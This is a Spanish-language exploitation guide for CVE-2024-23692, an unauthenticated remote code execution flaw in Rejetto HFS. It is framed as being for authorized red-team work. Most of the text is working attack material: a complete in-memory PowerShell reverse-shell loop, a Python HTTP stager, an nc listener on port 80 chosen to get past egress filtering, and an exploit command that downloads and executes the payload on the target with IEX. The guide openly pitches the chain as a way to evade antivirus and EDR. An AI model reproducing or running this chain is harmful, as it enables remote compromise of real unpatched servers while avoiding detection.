
Automatiza la explotación de CVE-2024-23692 contra Rejetto HFS sin parchear mediante un reverse shell de PowerShell en memoria, alojamiento de payloads por HTTP y evasión de escritura en disco de AV/EDR para compromisos autorizados de red team.
Una documentación táctica y guía de explotación para CVE-2024-23692, una vulnerabilidad crítica de Ejecución Remota de Código (RCE) no autenticada que afecta a las versiones de Rejetto HTTP File Server (HFS) anteriores a la 2.3m. Esta guía aprovecha una técnica de In-Memory Reverse Shell (Solo RAM) para evadir con éxito las detecciones de escritura en disco de Antivirus/EDR basadas en firmas.
Descargo de responsabilidad: Este repositorio y su contenido están destinados estrictamente a evaluaciones de seguridad autorizadas, compromisos de pruebas de penetración, simulaciones de bug bounty y auditorías forenses defensivas. La utilización no autorizada contra entornos de terceros es estrictamente ilegal.
La plantilla de verificación de automatización implementada en este flujo de trabajo de prueba de concepto se basa en el repositorio público desarrollado por:
Este método incorpora un modelo de despliegue de stager HTTP para entregar dinámicamente una cadena de payload basada en texto al entorno objetivo, invocando la ejecución en vivo directamente desde la memoria volátil del sistema (RAM).
En tu servidor local C2/atacante, crea un archivo de texto estático llamado index.html y rellénalo con el siguiente código principal de bucle de Socket TCP de PowerShell:
\$c = New-Object System.Net.Sockets.TCPClient('<LHOST>',80);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){;\$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);\$sb = (iex \$d 2>&1 | Out-String );\$sb2 = \$sb + 'PS ' + (pwd).Path + '> ';\$sbt = ([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);\$s.Flush()};\$c.Close()
Abre una instancia de terminal dentro de la carpeta de preparación designada que contenga tu archivo de plantilla de payload, luego lanza un listener HTTP instantáneo de Python en un puerto alternativo (por ejemplo, 8080):
python3 -m http.server 8080
Abre una segunda sesión de terminal independiente para alojar la llamada de retorno persistente entrante. Se recomienda encarecidamente aprovechar el puerto 80 (o 443) para eludir fácilmente las medidas de protección perimetral de salida (Filtrado de Firewall de Egress):
sudo nc -lvnp 80
Dispara el motor de validación automatizado apuntando a tu infraestructura de despliegue. La llamada objetivo engancha el análisis de comandos a través de un envoltorio de ejecución CMD localizado para mantener una estabilidad óptima de la cadena sin perder los flags de parámetros:
./CVE-2024-23692.sh http://<TARGET_IP>:<PORT> "cmd /c powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>')\""

Para eliminar por completo los compromisos y remediar entornos operativos vulnerables:
Get-Process -Name *hfs* | Stop-Process -Force
Remove-Item -Path "C:\Users\Public\*.exe" -Force -ErrorAction SilentlyContinue